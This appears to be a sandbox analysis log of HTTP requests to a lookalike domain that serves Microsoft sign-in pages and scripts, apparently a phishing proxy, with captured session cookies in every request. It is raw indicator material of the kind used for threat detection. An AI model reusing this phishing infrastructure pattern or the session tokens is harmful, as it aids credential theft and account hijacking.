Source: global traffic	HTTP traffic detected: GET /?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw== HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://wordpressprofissional.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_ChpboAn7HyXj89A22M8mzg2.js HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; fpc=AszQtRD_nHZBkxtZm7ZYv5s; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8vBBYsqv2wVVE2GhFqG0N9Me0A1GRLrxIXMJ4jElqfAIjpqiFRlZqDrBnhENSkwUC9wL4tmIFmwNrGA9r5kwKiIk22ALSHj7BNXexxLycJSHzJPbLHWJkKU8rmv0jsDYENXKVuLBKilcx99i_PBOnakrUhtIoPltZqt_F4p5vIrggAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
Source: global traffic	HTTP traffic detected: GET /?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; fpc=AszQtRD_nHZBkxtZm7ZYv5s; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8vBBYsqv2wVVE2GhFqG0N9Me0A1GRLrxIXMJ4jElqfAIjpqiFRlZqDrBnhE
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; fpc=AszQtRD_nHZBkxtZm7ZYv5s; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8vBBYsqv2wVVE2GhFqG0N9Me0A1GRLrxIXMJ4jElqfAIjpqiFRlZqDrBnhENSkwUC9wL4tmIFmwNrGA9r5kwKiIk22ALSHj7BNXexxLycJSHzJPbLHWJkKU8rmv0jsDYENXKVuLBKilcx99i_PBOnakrUhtIoPltZqt_F4p5vIrggAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/converged.v2.login.min_1ito3russhq-9gioj-zd4w2.css HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_jHSrlUosdD1xxbmcR_lMNA2.js HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_l2bvdjfwt697xziuhxpwsg2.js HTTP/1.1Host: 6knvejjuzh3.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA
